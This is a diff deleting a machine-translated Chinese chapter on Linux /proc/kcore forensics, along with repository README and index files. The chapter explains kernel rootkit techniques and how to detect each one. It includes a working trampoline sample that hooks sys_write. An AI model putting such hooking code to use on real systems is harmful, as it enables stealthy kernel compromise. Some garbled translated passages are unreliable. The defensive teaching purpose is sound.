这样的工具非常好而且方便,但是对于检测与正常运行的内核的偏差并不是绝对必要的。 - -# 直接修改 sys_call_table - -传统内核 rootkit,如【显示】喜欢和**方阵【病人】,在`sys_call_table`通过重写指针,这样他们会指向一个替代函数,然后将根据需要调用原来的系统调用。 这可以通过 LKM 或通过`/dev/kmem`或`/dev/mem`修改内核的程序来完成。 在当今的 Linux 系统中,出于安全原因,这些到内存的可写窗口被禁用,或者不再能够执行任何操作,只能执行读操作,这取决于内核的配置方式。 还有其他方法试图预防这种类型的感染,例如将`sys_call_table`标记为`const`,以便将其存储在文本段的`.rodata`部分。 可以通过将相应的**PTE**(即**Page Table Entry**)标记为可写,或者禁用`cr0`寄存器中的写保护位来绕过这个问题。 因此,即使在今天,这种类型的感染也是一种非常可靠的方法来制造 rootkit,但它也很容易被检测到。** - -## 检测 sys_call_table 修改 - -为了检测`sys_call_table`的修改,您可以查看`System.map`文件或`/proc/kallsyms`来查看每个系统调用的内存地址。 举例来说,如果我们想要检测`sys_write`系统调用是否被感染,我们需要学习的合法地址`sys_write`和`sys_call_table`内的指数,然后验证正确的地址实际上是存储在内存使用 GDB 和`/proc/kcore`。 - -### 验证系统调用完整性的示例 - -```sh -$ sudo grep sys_write /proc/kallsyms -ffffffff811d5310 T sys_write -$ grep _write /usr/include/x86_64-linux-gnu/asm/unistd_64.h -#define __NR_write 1 -$ sudo gdb -q vmlinux /proc/kcore -(gdb) x/gx &sys_call_table+1 -0xffffffff81801464 : 0x811d5310ffffffff -``` - -记住,在 x86 架构上,数字以小写的形式存储。 `sys_call_table[1]`的值相当于`/proc/kallsyms`中查找的正确`sys_write`地址。 因此,我们成功地验证了`sys_write`的`sys_call_table`条目没有被篡改。 - -## 核函数蹦床 - -这种技术最初是由 Silvio Cesare 在 1998 年提出的。 其想法是能够修改系统调用而不需要接触`sys_call_table`,但事实上,这种技术允许连接内核中的任何函数。 因此,它是非常强大的。 自 1998 年以来,发生了很多变化; 内核文本片段再也不能被修改,不需要禁用写保护在`cr0`或修改 PTE。主要问题,然而,是大多数现代内核使用 SMP,核函数蹦床是不安全的,因为它们使用非原子操作,比如`memcpy()`每次补丁函数被调用。 事实证明,也有一些方法可以绕过这个问题,使用一种我在这里不讨论的技术。 真正的要点是,内核函数蹦床实际上仍然在使用,因此理解它们仍然是非常重要的。 - -### 注意事项 - -它被认为是一种更安全的技术,对调用原始函数的单个调用指令进行修补,以便它们调用替换函数。 这个方法可以用作函数 trampolines 的替代方法,但是查找每一个调用可能会很困难,而且这通常在内核与内核之间发生变化。 因此,这种方法是不可移植的。 - -## 功能蹦床的例子 - -假设您想要劫持系统调用`SYS_write`,并且不想担心直接修改`sys_call_table`,因为它很容易被检测到。 这可以通过用包含跳转到另一个函数的代码的存根覆盖`sys_write`代码的前 7 个字节来实现。 - -### 在 32 位内核上劫持 sys_write 的示例代码 - -```sh -#define SYSCALL_NR __NR_write - -static char syscall_code[7]; -static char new_syscall_code[7] = -"\x68\x00\x00\x00\x00\xc3"; // push $addr; ret - -// our new version of sys_write -int new_syscall(long fd, void *buf, size_t len) -{ - printk(KERN_INFO "I am the evil sys_write!\n"); - - // Replace the original code back into the first 6 - // bytes of sys_write (remove trampoline) - - memcpy( - sys_call_table[SYSCALL_NR], syscall_code, - sizeof(syscall_code) - ); - - // now we invoke the original system call with no trampoline - ((int (*)(fd, buf, len))sys_call_table[SYSCALL_NR])(fd, buf, len); - - // Copy the trampoline back in place! - memcpy( - sys_call_table[SYSCALL_NR], new_syscall_code, - sizeof(syscall_code) - ); -} - -int init_module(void) -{ - // patch trampoline code with address of new sys_write - *(long *)&new_syscall_code[1] = (long)new_syscall; - - // insert trampoline code into sys_write - memcpy( - syscall_code, sys_call_table[SYSCALL_NR], - sizeof(syscall_code) - ); - memcpy( - sys_call_table[SYSCALL_NR], new_syscall_code, - sizeof(syscall_code) - ); - return 0; -} - -void cleanup_module(void) -{ - // remove infection (trampoline) - memcpy( - sys_call_table[SYSCALL_NR], syscall_code, - sizeof(syscall_code) - ); -} -``` - -这个代码示例用一个`push; ret`存根替换`sys_write`的前 6 个字节,它将新的`sys_write`函数的地址推入堆栈并返回给它。 新的`sys_write`函数可以做任何它想做的事情,尽管在本例中我们只打印一条消息到内核日志缓冲区。 在它完成了这些狡猾的操作之后,它必须删除 trampoline 代码,以便能够调用未修改的 sys_write,最后将 trampoline 代码放回原位。 - -## 检测蹦床功能 - -通常,函数 trampolines 会覆盖它们所挂钩的函数的过程序言部分(前 5 到 7 个字节)。 因此,为了检测任何内核函数或系统调用中的函数蹦床,您应该检查前 5 到 7 个字节,并寻找跳转或返回到另一个地址的代码。 这样的代码可以以各种形式出现。 这里有几个例子。 - -### 一个带有 ret 指令的例子 - -将目标地址推入堆栈,然后返回给它。 当使用 32 位目标地址时,这会占用 6 字节的机器码: - -```sh -push $address -ret -``` - -### 间接 jmp 的例子 - -将目标地址移到寄存器中进行间接跳转。 当使用 32 位目标地址时,需要 7 字节的代码: - -```sh -movl $addr, %eax -jmp *%eax -``` - -### 相对 jmp 的例子 - -计算偏移量并执行一个相对跳转。 当使用 32 位偏移量时,这需要 5 字节的代码: - -```sh -jmp offset -``` - -例如,如果我们想验证 sys_write 系统调用是否已经被函数 trampoline 钩住,我们可以简单地检查它的代码,看看过程的 prologue 是否还在: - -```sh -$ sudo grep sys_write /proc/kallsyms -0xffffffff811d5310 -$ sudo gdb -q vmlinux /proc/kcore -Reading symbols from vmlinux... -[New process 1] -Core was generated by `BOOT_IMAGE=/vmlinuz-3.16.0-49-generic root=/dev/mapper/ubuntu--vg-root ro quiet'. -#0 0x0000000000000000 in ?? () -(gdb) x/3i 0xffffffff811d5310 - 0xffffffff811d5310 : data32 data32 data32 xchg %ax,%ax - 0xffffffff811d5315 : push %rbp - 0xffffffff811d5316 : mov %rsp,%rbp -``` - -前 5 个字节是,实际上用作对齐的 NOP 指令(也可能是 ftrace 探针的空间)。 内核使用特定的字节序列(0x66、0x66、0x66、0x66 和 0x90)。 过程序言代码遵循最初的 5 个 NOP 字节,并且完全完整。 因此,这将验证`sys_write`系统调用没有与任何函数 trampolines 挂钩。 - -### 中断处理程序打补丁- int 0x80,系统调用 - -感染内核的一个经典方法是,在内核内存中插入一个虚假的系统调用表,并修改负责调用系统调用的上半部分中断处理程序。 在 x86 体系结构中,中断 0x80 已弃用,取而代之的是用于调用系统调用的特殊的`syscall/sysenter`指令。 syscall/sysenter 和`int 0x80`最终调用同一个名为`system_call()`的函数,该函数依次调用`sys_call_table`中所选的系统调用: - -```sh -(gdb) x/i system_call_fastpath+19 -0xffffffff8176ea86 : -callq *-0x7e7feba0(,%rax,8) - -``` - -在 x86_64 上,前面的调用指令发生在`system_call()`中的交换之后。 下面是代码在`entry.S`中的样子: - -```sh -call *sys_call_table(,%rax,8) - -``` - -`(r/e)ax`寄存器包含了系统调用号乘以`sizeof(long)`,以使索引进入正确的系统调用指针。 很容易想象,攻击者可以将一个伪系统调用表`kmalloc()`放入内存(其中包含一些修改,其中包含指向恶意函数的指针),然后修补调用指令,以便使用伪系统调用表。 这种技术实际上是相当隐形的,因为它没有对原来的`sys_call_table`进行任何修改。 然而,对入侵者来说不幸的是,这种技术仍然很容易被训练有素的眼睛发现。 - -## 检测中断处理程序补丁 - -检测是否`system_call()`常规修补了调用一个假的`sys_call_table`与否,只是反汇编代码 GDB 和`/proc/kcore`,然后找出是否调用抵消指向的地址`sys_call_table`。 正确的`sys_call_table`地址可在`System.map`或`/proc/kallsyms`中找到。 - -# Kprobe rootkits - -这种特殊类型的内核 rootkit 最初是在我 2010 年写的一篇 Phrack 论文中构思和详细描述的。 全文见[http://phrack.org/issues/67/6.html](http://phrack.org/issues/67/6.html)。 - -这种类型的内核 rootkit 是比较奇特的一种,因为它使用 Linux 内核 Kprobe 调试钩子在 rootkit 试图修改的目标内核函数上设置断点。 这种特殊的技术有其局限性,但它可以相当强大和隐形。 然而,就像任何其他技术一样,如果分析人员知道要查找什么,那么使用 kprobes 的内核 rootkit 就可以很容易地检测到。 - -## 检测 kprobe rootkits - -通过分析内存来检测 kprobes 的存在是相当容易的。 当设置一个常规的 kprobe 时,一个断点被放置在函数的入口点(参见 jprobes)或任意指令上。 通过扫描整个代码段寻找断点,这是非常容易检测到的,因为除了为了 kprobes,没有理由在内核代码中放置断点。 对于检测优化的 kprobes,使用 jmp 指令代替断点(`int3`)指令。 当 jmp 被放置在函数的第一个字节时,这将是最容易检测的,因为这显然是不合适的。 最后,在`/sys/kernel/debug/kprobes/list`中有一个活动 kprobes 的简单列表,该列表实际上包含正在使用的 kprobes 的列表。 但是,任何 rootkit,包括我在 phrack 中演示的那个,都将对文件隐藏其 kprobes,所以不要依赖它。 一个好的 rootkit 还可以防止在`/sys/kernel/debug/kprobes/enabled`中禁用的 kprobes。 - -# 调试注册 rootkits - DRR - -这种类型的内核 rootkit 使用 Intel Debug 寄存器作为劫持控制流的手段。 一篇伟大的 Phrack 论文是由*半死不活*写的。 可在此查阅: - -[http://phrack.org/issues/65/8.html](http://phrack.org/issues/65/8.html)。 - -这种技术通常被称为超隐形,因为它不需要修改`sys_call_table`。 然而,同样地,也有检测这种类型感染的方法。 - -## DRR 检测 - -在许多 rootkit 实现中,`sys_call_table`和其他常见的感染点没有被修改,但`int1`处理程序没有。 对`do_debug`函数的调用指令进行修补,以调用另一个`do_debug`函数,如前面链接的 phrack 论文所示。 因此,检测这种类型的 rootkit 通常就像分解 int1 处理程序并查看`call do_debug`指令的偏移量一样简单,如下所示: - -```sh -target_address = address_of_call + offset + 5 -``` - -如果`target_address`与`System.map`或`/proc/kallsyms`中找到的`do_debug`地址的值相同,这意味着 int1 处理程序没有被修补,认为是干净的。 - -# VFS 层 rootkits - -感染内核的另一种经典的和强大的方法是通过感染内核的 VFS 层。 这种技术非常神奇,而且相当隐蔽,因为它在技术上修改的是内存中的数据段,而不是文本段,其中的差异更容易检测。 VFS 层是非常面向对象的,包含各种带有函数指针的结构体。 这些函数指针是文件系统操作,比如打开、读、写、readdir 等等。 如果攻击者可以修补这些函数指针,那么他们就可以以任何他们认为合适的方式控制这些操作。 - -## 检测 VFS 层 rootkits - -可能有几种检测这种类型感染的技术。 然而,一般的想法是验证函数指针地址,并确认它们是否指向预期的函数。 在大多数情况下,这些函数应该指向内核中的函数,而不是 lkm 中存在的函数。 一种快速的检测方法是验证指针是否在内核的文本段的范围内。 - -### 验证 VFS 函数指针的例子 - -```sh -if ((long)vfs_ops->readdir >= KERNEL_MIN_ADDR && - (long)vfs_ops->readdir < KERNEL_MAX_ADDR) - pointer_is_valid = 1; -else - pointer_is_valid = 0; -``` - -# 其他内核感染技术 - -黑客还可以使用其他的技术来感染 Linux 内核(我们没有在本章中讨论这些),例如劫持 Linux 页面错误处理程序([http://phrack.org/issues/61/7.html](http://phrack.org/issues/61/7.html))。 可以通过查找对文本段的修改来检测其中的许多技术,这是一种检测方法,我们将在下一节中进一步研究。 - -# vmlinux 和。alinstructions 补丁 - -在我看来,唯一最有效的 rootkit 检测方法可以通过在内存中验证内核的代码完整性来总结——换句话说,将内核内存中的代码与预期的代码进行比较。 但是我们可以用什么来比较内核内存代码呢? 那么,为什么不是 vmlinux 呢? 这是我在 2008 年最初探索的方法。 知道 ELF 可执行文件的文本段不会从磁盘更改到内存,除非它是某种奇怪的自修改二进制文件,而内核不是这样的… 我很快就遇到了麻烦,并且发现了内核内存文本段和 vmlinux 文本段之间的各种代码差异。 这在一开始是令人困惑的,因为在这些测试期间我没有安装内核 rootkit。 然而,在检查了 vmlinux 中的 ELF 部分之后,我很快发现了一些引起我注意的地方: - -```sh -$ readelf -S vmlinux | grep alt - [23] .altinstructions PROGBITS ffffffff81e64528 01264528 - [24] .altinstr_replace PROGBITS ffffffff81e6a480 0126a480 -``` - -Linux 内核二进制文件中有几个部分包含替代指令。 随着的出现,Linux 内核开发人员有了一个聪明的想法:如果 Linux 内核可以在运行时智能地修补它自己的代码段,根据检测到的特定 CPU 改变“内存障碍”的某些指令,会怎么样? 这将是一个很好的想法,因为需要为所有不同类型的 cpu 创建更少的库存内核。 不幸的是,对于那些想要检测内核代码段中任何恶意更改的安全研究人员来说,这些替代指令必须首先被理解和应用。 - -## .altinstr_replace 和.altinstr_replace - -有两个部分,其中包含了需要知道内核中哪些指令在运行时被修补的大部分信息。 现在有一篇很棒的文章解释了这些部分,在我早期研究内核的这个领域时还没有: - -[https://lwn.net/Articles/531148/](https://lwn.net/Articles/531148/) - -然而,一般的想法是,`.altinstructions`节包含一个由`struct alt_instr`结构体组成的数组。 每一个代表一个替代指令记录,给你原始指令的位置和新指令的位置,应该用来修补原始指令。 `.altinstr_replace`部分包含了`alt_instr->repl_offset`成员引用的实际替代指令。 - -## From arch/x86/include/asm/alternative.h - -```sh -struct alt_instr { - s32 instr_offset; /* original instruction */ - s32 repl_offset; /* offset to replacement instruction */ - u16 cpuid; /* cpuid bit set for replacement */ - u8 instrlen; /* length of original instruction */ - u8 replacementlen; /* length of new instruction, <= instrlen */ -}; -``` - -在较老的内核中,前两个成员给出了新旧指令的绝对地址,但在较新的内核中,使用了相对偏移量。 - -## 使用 textify 来验证内核代码的完整性 - -多年来,我设计了几个工具来检测 Linux 内核代码段的完整性。 这种检测技术显然只适用于修改文本段的内核 rootkit,而且大多数 rootkit 都以某种方式这样做。 然而,也有例外,比如 rootkit 只依赖于修改 VFS 层,它驻留在数据段中,不会通过验证文本段的完整性来检测。 最近,我编写的工具(内核 Voodoo 软件套件的一部分)被命名为 textify,它本质上是将内核内存的文本段(取自`/proc/kcore`)与 vmlinux 中的文本段进行比较。 它解析`.altinstructions`和各种其他部分,如`.parainstructions`,以了解合法修补的代码指令的位置。 这样,就不会出现误报。 虽然 textify 目前还没有对公众开放,但其基本思想已经得到了解释。 因此,任何人如果希望尝试一些费力的编码过程来使它工作,都可以重新实现它。 - -## 一个使用 textify 检查 sys_call_table 的例子 - -```sh -# ./textify vmlinux /proc/kcore -s sys_call_table -kernel Detective 2014 - Bitlackeys.org -[+] Analyzing kernel code/data for symbol sys_call_table in range [0xffffffff81801460 - 0xffffffff81802570] -[+] No code modifications found for object named 'sys_call_table' - -# ./textify vmlinux /proc/kcore -a -kernel Detective 2014 - Bitlackeys.org -[+] Analyzing kernel code of entire text segment. [0xffffffff81000000 - 0xffffffff81773da4] -[+] No code modifications have been detected within kernel memory -``` - -在前面的示例中,我们首先检查以确保`sys_call_table`没有被修改。 在现代 Linux 系统上,`sys_call_table`被标记为只读,因此存储在文本段中,这就是为什么我们可以使用 textify 来验证其完整性。 在下一个命令中,我们使用`-a`开关运行 textify,它扫描整个文本段中的每一个字节,以查找非法修改。 我们可以简单地从运行`-a`开始,因为`sys_call_table`包含在`-a`中,但是有时候,也可以通过符号名称来扫描内容。 - -# 使用 taskverse 查看隐藏进程 - -在 Linux 内核中,有几种方法可以修改内核,使进程隐藏能够工作。 由于本章并不是对所有内核 rootkit 的注释,我将只介绍最常用的方法,然后提出一种检测它的方法,它是在我 2014 年提供的 taskverse 程序中实现的。 - -在 Linux 中,进程 id 被存储为`/proc`文件系统中的目录; 每个目录包含大量关于进程的信息。 `/bin/ps`程序在`/proc`中执行一个目录列表,以查看哪些 pid 当前正在系统上运行。 Linux 中的目录列表(例如带有`ps`或`ls`的目录)使用`sys_getdents64`系统调用和`filldir64`内核函数。 许多内核 rootkit 会劫持其中一个函数(取决于内核版本),然后插入一些代码,跳过包含隐藏进程`d_name`的目录条目。 结果,`/bin/ps`程序无法找到内核 rootkit 通过跳过目录列表中的进程而认为隐藏的进程。 - -## Taskverse 技术 - -taskverse 程序是 Voodoo 内核包的一个部分,但我免费发布了一个更基本的版本,只使用一种技术来检测隐藏的进程; 然而,这种技术仍然非常有用。 正如我们刚才讨论的,rootkit 通常将 pid 目录隐藏在`/proc`中,这样`sys_getdents64`和`filldir64`就看不到它们了。 要查看这些进程,最直接、最明显的方法是完全绕过/proc 目录,然后沿着内核内存中的任务列表查看由`struct task_struct`项链表表示的每个进程描述符。 列表指针的头可以通过查找`init_task`符号找到。 有了这些知识,具有一定技能的程序员就可以打开`/proc/kcore`并遍历任务列表。 这段代码的详细信息可以在项目中查看,可以在我的 GitHub 配置文件[https://github.com/elfmaster/taskverse](https://github.com/elfmaster/taskverse)上找到。 - -# 受感染的 lkm -内核驱动程序 - -到目前为止,我们已经涵盖了内存中各种类型的内核 rootkit 感染,但是我认为这一章需要专门用一节来解释内核驱动程序是如何被攻击者感染的,以及如何检测这些感染。 - -## 感染 LKM 文件的方法 1 -符号劫持 - -lkm 是 ELF 对象。 更具体地说,它们是`ET_REL`文件(目标文件)。 由于它们实际上只是可重新定位的代码,因此感染它们的方式,如劫持函数,是比较有限的。 幸运的是,在装入 ELF 内核对象(在 LKM 中重新定位函数的过程)期间,有一些特定于内核的机制使感染它们变得非常容易。 整个方法和它工作的原因在这篇精彩的文章[http://phrack.org/issues/68/11.html](http://phrack.org/issues/68/11.html)中进行了描述,但总体思想很简单: - -1. 将寄生代码注入或链接到内核模块。 -2. 更改`init_module()`的符号值,使其与邪恶的替换函数具有相同的偏移/值。 - -这是攻击者在现代 Linux 系统(2.6 到 3)上最常用的方法。 x 内核)。 还有另一种方法没有在其他任何地方具体描述,我将简要地分享它。 - -## 感染 LKM 文件的方法二(函数劫持) - -正如前面提到的,LKM 文件是可重定位的代码,因此很容易添加代码,因为可以用 C 编写寄生虫,然后在链接之前将其编译为可重定位的。 在链接了新的寄生代码(可能包含一个新函数(或几个函数))之后,攻击者可以使用函数 trampolines 简单地劫持 LKM 中的任何函数,如本章前面所述。 因此,攻击者将目标函数的前几个字节替换为跳转到新函数。 在调用旧函数之前,新函数的 memcpy 是旧函数的原始字节,而 memcpy 是下次调用钩子时的蹦床。 - -### 注意事项 - -在较新的系统上,在给文本段打补丁之前,必须禁用写保护位,例如使用`memcpy()`调用来实现 trampolines 函数。 - -## 检测感染 lkm - -基于刚才描述的两种简单的检测方法,这个问题的解决方案应该是显而易见的。 对于符号劫持方法,您可以简单地查找具有相同值的两个符号。 在 Phrack 文章中显示的示例中,`init_module()`函数被劫持了,但是该技术应该适用于攻击者想要劫持的任何函数。 这是因为内核处理每一个重定位(尽管我没有测试这个理论): - -```sh -$ objdump -t infected.lkm -00000040 g F .text 0000001b evil -... -00000040 g F .text 0000001b init_module -``` - -注意,在前面的符号输出中,`init_module`和`evil`具有相同的相对地址。 就在这里,这是一个被感染的 LKM 正如 Phrack 68 #11 所示。 检测被 trampolines 劫持的功能也非常简单,并且已经在 9.6.3 节中描述过了,在那里我们讨论了在内核中检测 trampolines。 只需对 LKM 文件中的函数应用相同的分析即可,可以使用 objdump 等工具对其进行分解。 - -# /dev/kmem 和/dev/mem 的注释 - -在良好的时代,黑客能够使用/dev/kmem 设备文件修改内核。 这个文件为程序员提供了到内核内存的原始门户,最终受到各种安全补丁的影响,并从许多发行版中删除。 然而,一些发行版仍然可以读取它,这可能是检测内核恶意软件的强大工具,但只要/proc/kcore 可用,就没有必要这么做。 在给 Linux 内核打补丁方面编写的一些最好的工作是由 Silvio Cesare 构思的,这可以在他从 1998 年开始的早期作品中看到,并且可以在 vxheaven 或以下链接上找到: - -* *Runtime kernel kmem patch*:[http://althing.cs.dartmouth.edu/local/vsc07.html](http://althing.cs.dartmouth.edu/local/vsc07.html) - -# /dev/mem - -有许多使用/dev/mem 的内核 rootkit,即 phalanx 和 phalanx2,由 Rebel 编写。 这个设备也经历了许多安全补丁。 目前,为了向后兼容,它在所有系统上都存在,但是只有前 1mb 的内存是可访问的,主要用于 X Windows 使用的遗留工具。 - -## FreeBSD /dev/kmem - -在一些操作系统上,例如 FreeBSD, /dev/kmem 设备仍然可用,默认情况下是可写的。 甚至有专门为访问它而设计的 API,有一本叫做*Writing BSD rootkits*的书展示了它的能力。 - -# K-ecfs – kernel ECFS - -在上一章中,我们讨论了**ECFS**(简称**Extended Core File Snapshot**)技术。 值得一提的是,在这一章的末尾,我编写了一些内核-ecfs 的代码,它将 vmlinux 和`/proc/kcore`合并成一个内核-ecfs 文件。 其结果本质上是一个类似于/proc/kcore 的文件,但它也有节头和符号。 通过这种方式,分析人员可以轻松地访问内核、lkm 和内核内存(例如“vmalloc'd”内存)的任何部分。 这段代码最终将成为公共可用的。 - -## 内核-ecfs 文件的预览 - -这里,我们将演示如何将`/proc/kcore`快照到一个名为`kcore.img`的文件中,并给出一组 ELF 节头: - -```sh -# ./kcore_ecfs kcore.img - -# readelf -S kcore.img -here are 6 section headers, starting at offset 0x60404afc: - -Section Headers: - [Nr] Name Type Address Offset - Size EntSize Flags Link Info Align - [ 0] NULL 0000000000000000 00000000 - 0000000000000000 0000000000000000 0 0 0 - [ 1] .note NULL 0000000000000000 000000e8 - 0000000000001a14 000000000000000c 0 48 0 - [ 2] .kernel PROGBITS ffffffff81000000 01001afc - 0000000001403000 0000000000000000 WAX 0 0 0 - [ 3] .bss PROGBITS ffffffff81e77000 00000000 - 0000000000169000 0000000000000000 WA 0 0 0 - [ 4] .modules PROGBITS ffffffffa0000000 01404afc - 000000005f000000 0000000000000000 WAX 0 0 0 - [ 5] .shstrtab STRTAB 0000000000000000 60404c7c - 0000000000000026 0000000000000000 0 0 0 - -# readelf -s kcore.img | grep sys_call_table - 34214: ffffffff81801460 4368 OBJECT 4 sys_call_table - 34379: ffffffff8180c5a0 2928 OBJECT 4 ia32_sys_call_table -``` - -# 内核黑客的好东西 - -Linux 内核是一个涉及取证分析和逆向工程的大主题。 有许多令人兴奋的方法可以对内核进行插装,以达到破解、反转和调试的目的,Linux 为其用户提供了许多进入这些领域的入口点。 在这一章中,我已经讨论了一些有用的文件和 api,但我也将给出一个简短的列表,列出可能对你的研究有帮助的东西。 - -## 通用逆向工程和调试 - -* `/proc/kcore` -* `/proc/kallsyms` -* `/boot/System.map` -* `/dev/mem`(已弃用) -* `/dev/kmem`(已弃用) -* GNU 调试器(与 kcore 一起使用) - -## 高级内核破解/调试接口 - -* Kprobes -* Ftrace - -## 本章所述论文 - -* Kprobe 仪表:[http://phrack.org/issues/67/6.html](http://phrack.org/issues/67/6.html) -* *Runtime kernel**kmem patch*:[http://althing.cs.dartmouth.edu/local/vsc07.html](http://althing.cs.dartmouth.edu/local/vsc07.html) -* LKM 感染:[http://phrack.org/issues/68/11.html](http://phrack.org/issues/68/11.html) -* *Linux 二进制文件中的特殊部分*:[https://lwn.net/Articles/531148/](https://lwn.net/Articles/531148/) -* Voodoo:[http://www.bitlackeys.org/#ikore](http://www.bitlackeys.org/#ikore) - -# 总结 - -在本书的最后一章中,我们走出了用户域二进制文件,并大致了解了内核中使用的 ELF 二进制文件的类型,以及如何将它们与 GDB 和`/proc/kcore`一起用于内存分析和分析目的。 我们还解释了一些最常见的 Linux 内核 rootkit 技术,以及可以应用哪些方法来检测它们。 这个小章节只是作为理解基本原理的主要资源,但是我们只是列出了一些优秀的资源,以便您可以继续扩展您在这一领域的知识。 \ No newline at end of file diff --git a/docs/learn-linux-bin-anal/README.md b/docs/learn-linux-bin-anal/README.md deleted file mode 100644 index 76d9cc0b..00000000 --- a/docs/learn-linux-bin-anal/README.md +++ /dev/null @@ -1,67 +0,0 @@ -# Linux 二进制分析学习手册 - -> 原文:[Learning Linux Binary Analysis](https://libgen.rs/book/index.php?md5=557450C26A7CBA64AA60AA031A39EC59) -> -> 协议:[CC BY-NC-SA 4.0](http://creativecommons.org/licenses/by-nc-sa/4.0/) -> -> 阶段:机翻(1) -> -> 自豪地采用[谷歌翻译](https://translate.google.cn/) -> -> 这世界上有一种鸟是没有脚的,它只能够一直的飞呀飞呀,飞累了就在风里面睡觉,这种鸟一辈子只能下地一次,那一次就是它死亡的时候。——《阿飞正传》 - -* [在线阅读](https://linux.apachecn.org) -* [在线阅读(Gitee)](https://apachecn.gitee.io/apachecn-linux-zh/) -* [ApacheCN 学习资源](http://docs.apachecn.org/) - -## 目录 - -+ [笨办法学 Linux 中文版](docs/llthw-zh/SUMMARY.md) - -## 贡献指南 - -本项目需要校对,欢迎大家提交 Pull Request。 - -> 请您勇敢地去翻译和改进翻译。虽然我们追求卓越,但我们并不要求您做到十全十美,因此请不要担心因为翻译上犯错——在大部分情况下,我们的服务器已经记录所有的翻译,因此您不必担心会因为您的失误遭到无法挽回的破坏。(改编自维基百科) - -## 联系方式 - -### 负责人 - -* [飞龙](https://github.com/wizardforcel): 562826179 - -### 其他 - -* 在我们的 [apachecn/apachecn-linux-zh](https://github.com/apachecn/apachecn-linux-zh) github 上提 issue. -* 发邮件到 Email: `apachecn@163.com`. -* 在我们的 [组织学习交流群](http://www.apachecn.org/organization/348.html) 中联系群主/管理员即可. - -## 下载 - -### Docker - -``` -docker pull apachecn0/apachecn-linux-zh -docker run -tid -p :80 apachecn0/apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### PYPI - -``` -pip install apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -### NPM - -``` -npm install -g apachecn-linux-zh -apachecn-linux-zh -# 访问 http://localhost:{port} 查看文档 -``` - -## 赞助我们 - -![](http://data.apachecn.org/img/about/donate.jpg) diff --git a/docs/learn-linux-bin-anal/SUMMARY.md b/docs/learn-linux-bin-anal/SUMMARY.md deleted file mode 100644 index 481da876..00000000 --- a/docs/learn-linux-bin-anal/SUMMARY.md +++ /dev/null @@ -1,11 +0,0 @@ -+ [Linux 二进制分析学习手册](README.md) -+ [零、前言](0.md) -+ [一、Linux 环境及其工具](1.md) -+ [二、ELF 二进制格式](2.md) -+ [三、Linux 进程跟踪](3.md) -+ [四、ELF 病毒技术——Linux/Unix 病毒](4.md) -+ [五、Linux 二进制程序保护](5.md) -+ [六、Linux 中的 ELF 二进制取证](6.md) -+ [七、进程内存取证](7.md) -+ [八、扩展核心文件快照技术](8.md) -+ [九、Linux `/proc/kcore`分析](9.md) diff --git a/docs/learn-linux-shell-script/00.md b/docs/learn-linux-shell-script/00.md deleted file mode 100644 index 00947aac..00000000 --- a/docs/learn-linux-shell-script/00.md +++ /dev/null @@ -1,131 +0,0 @@ -# 零、前言 - -Shell 脚本允许我们对命令进行链式编程,并让系统将它们作为脚本事件来执行,就像批处理文件一样。这本书将从概述 Linux 和 Bash shell 脚本开始,然后在向您介绍用于编写 shell 脚本的工具之前,快速深入地帮助您设置本地环境。下一组章节将重点帮助您理解幕后的 Linux 以及 Bash 为用户提供了什么。很快,您将沿着命令行开始您的旅程。现在,您将开始编写实际的脚本,而不是命令,并将介绍脚本的实际应用。最后一组章节将深入探讨 shell 脚本中更高级的主题。这些高级主题将带您从简单的脚本到现实世界中存在的可重用、有价值的程序。最后一章将留给你一些方便的提示和技巧,至于最常用的命令,还将提供一个包含最有趣的标志和选项的备忘单。 - -完成这本书后,您应该对启动自己的 shell 脚本项目充满信心,不管之前的任务看起来有多简单或多复杂。我们旨在教您*如何*编写脚本以及*考虑什么*,以补充您可以在日常脚本挑战中使用的清晰模式。 - -# 这本书是给谁的 - -本书面向新的和现有的 Linux 系统管理员,以及对自动化管理任务感兴趣的 Windows 系统管理员或开发人员。不需要以前的 shell 脚本经验,但如果你有一些经验,这本书会很快把你变成一个专业人士。读者应该对命令行有(非常)基本的了解。 - -# 这本书涵盖了什么 - -[第一章](01.html)、*简介*,为本书的剩余部分做铺垫。借助于 Linux 和 Bash 的一些背景知识,您应该能够更好地理解 shell 脚本如何以及为什么能够为您提供明显的好处。 - -[第 2 章](02.html)、*设置您的本地环境*,帮助您为本书其余部分的示例和练习准备您的本地机器。您将看到如何使用 VirtualBox 在本地机器上设置 Ubuntu 18.04 Linux 虚拟机。在本书中,该虚拟机将用于编写、运行和调试命令和脚本。 - -[第三章](03.html)*选择合适的工具*,为您介绍了将用于编写 shell 脚本的工具。将描述两种不同的工具:IDE 编辑器(Atom、Notepad++)和基于终端的编辑器(vim 和 nano)。我们将鼓励您最初在集成开发环境中编写脚本,并在基于终端的编辑器中对脚本进行故障排除,以最大程度地类似于现实世界中的使用。 - -[第 4 章](04.html)、*Linux 文件系统*,通过探索在前几章中创建的虚拟机,讲述了 Linux 文件系统是如何组织的。您将通过执行第一个命令行操作来实现这一点,例如`cd`、`pwd`和`ls`。将提供关于不同结构的上下文,以便您可以在编写脚本时使用这些信息。而且,最重要的是,一切都是文件的概念会得到解释。 - -[第 5 章](05.html)*了解 Linux 权限方案*,让你熟悉 Linux 下的权限,再次通过探索虚拟机。诸如`sudo`、`chmod`、`chown`等命令将用于交互了解文件和目录权限。本章中获得的技能将大量用于 shell 脚本,因此您必须接触到命令的成功执行以及失败消息。 - -[第 6 章](06.html)、*文件操作*,向您介绍最相关的文件操作命令,包括这些命令最常用的标志和修饰符。这将通过虚拟机内部的命令来实现。 - -[第七章](07.html)*你好世界*!,在写剧本的时候,教育你提前思考,养成好习惯。在本章中,您将编写第一个实际的 shell 脚本。 - -[第八章](08.html)、*变量和用户输入*,给大家介绍变量和用户输入。您将看到 Bash 如何使用参数,以及参数和参数之间的区别。用户输入将被处理并用于在脚本中产生新的函数。最后,将澄清和讨论交互式和非交互式脚本之间的区别。 - -[第九章](09.html)、*错误检查和处理*,让你熟悉(用户)输入,以及错误检查和处理。将用户输入引入到脚本中必然会导致更多的错误,除非脚本专门处理用户提交不正确或意外输入的可能性。你将学会如何最好地处理这个问题。 - -[第 10 章](10.html)、*正则表达式*,让你熟悉了 shell 脚本中经常用到的正则表达式。将介绍这些正则表达式最常见的模式和用途。本章将介绍`sed`的基本用法,作为正则表达式解释的补充。 - -[第 11 章](11.html)、*条件测试和脚本循环*,讨论了 Bash shell 脚本中使用的不同类型的循环和相关的控制结构。 - -[第 12 章](12.html)、*在脚本中使用管道和重定向*,介绍 Linux 